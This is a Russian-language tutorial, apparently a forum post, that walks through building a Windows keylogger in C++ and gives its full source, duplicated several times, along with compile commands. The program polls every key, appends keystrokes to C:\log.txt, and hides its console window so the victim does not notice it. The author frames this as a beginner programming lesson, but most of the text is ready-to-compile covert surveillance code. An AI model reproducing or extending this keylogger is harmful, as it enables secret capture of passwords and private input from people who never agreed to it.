Будем писать программу в функции которой будет входить чтение вводимых клавиш клавиатуры и запись их в текстовый файл. Для работы нам понадобится текстовый файл и компилятор C++ Компилятор на ваш вкус, можете использовать VC++ или С++ Builder. Хотя их намного больше. Лично мне удобнее использовать IDE Clion от JetBrains, и компилятор MinGW. Для компиляции в VC++ code: cl -GL C:\\путь\файл.cpp Код cl -GL C:\\путь\файл.cpp Для компиляции в С++ Builder code: bcc32.exe C:\\путь\файл.cpp Код bcc32.exe C:\\путь\файл.cpp Создадим текстовый файл(keylogger.txt) В нём пишем: code: #include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int S (int key, char *files); void Hide(); int S (int key, char *files) { if ( (key == 1) || (key == 2) ) return 0; FILE *Save; Save = fopen(files, "a+"); cout << key << endl; fprintf(Save, "%s", &key); fclose (Save); return 0; } void Hide() { HWND Hide; AllocConsole(); Hide = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Hide,0); } int main() { Hide(); char q; while (1) { for(q = 8; q <= 190; q++) { if (GetAsyncKeyState(q) == -32767) S (q,"C:\\log.txt"); } } system ("PAUSE"); return 0; } Код #include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int S (int key, char *files); void Hide(); int S (int key, char *files) { if ( (key == 1) || (key == 2) ) return 0; FILE *Save; Save = fopen(files, "a+"); cout << key << endl; fprintf(Save, "%s", &key); fclose (Save); return 0; } void Hide() { HWND Hide; AllocConsole(); Hide = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Hide,0); } int main() { Hide(); char q; while (1) { for(q = 8; q <= 190; q++) { if (GetAsyncKeyState(q) == -32767) S (q,"C:\\log.txt"); } } system ("PAUSE"); return 0; } Дальше сохраняем это всё и меняем разрешение файла на cpp(keylogger.cpp) Компилировать будем на С++ Builder. Открываем "Командную строку"(Для тех кто не знает win+R пишем cmd и нажимаем Enter) Пишем bcc32.exe C:\\путь\keylogger.cpp У вас получится три файла keylogger.obj keylogger.tds и наш исполняемый файл keylogger.exe(два других можете удалить). Не большие объяснения что же мы написали: Использовали во первых GetAsyncKeyState определяет, является ли клавиша отпущенной или нажатой во время вызова функции и была ли клавиша нажата после предыдущего вызова GetAsyncKeyState. Для работы GetAsyncKeyState подключили #include <windows.h> Здесь мы : int S (int key, char *files) { if ( (key == 1) || (key == 2) ) return 0; FILE *Save; Save = fopen(files, "a+"); cout << key << endl; fprintf(Save, "%s", &key); fclose (Save); return 0; } Код int S (int key, char *files) { if ( (key == 1) || (key == 2) ) return 0; FILE *Save; Save = fopen(files, "a+"); cout << key << endl; fprintf(Save, "%s", &key); fclose (Save); return 0; } открываем консоль и вводим значение cout << key << endl; , после чего записываем в файл. Что бы консоль не было видно использовали: void Hide() { HWND Hide; AllocConsole(); Hide = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Hide,0); } Код void Hide() { HWND Hide; AllocConsole(); Hide = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Hide,0); } Основное действие происходит уже не посредственно в: int main() { Hide(); char q; while (1) { for(q = 8; q <= 190; q++) { if (GetAsyncKeyState(q) == -32767) S (q,"C:\\log.txt"); } } system ("PAUSE"); return 0; } Код int main() { Hide(); char q; while (1) { for(q = 8; q <= 190; q++) { if (GetAsyncKeyState(q) == -32767) S (q,"C:\\log.txt"); } } system ("PAUSE"); return 0; } где C:\\log.txt куда сохраняется лог. Естественно не все клавиши выводятся,для этого нужно дописывать к примеру: code: if (key == VK_TAB) fprintf(Save, "%s", "[TAB]"); Код if (key == VK_TAB) fprintf(Save, "%s", "[TAB]"); В общем старался как мог написать статью, если есть вопросы буду рад ответить. Цель статьи - не написание полноценного кейлоггера, а чтобы вы начали проникаться в мир программирования.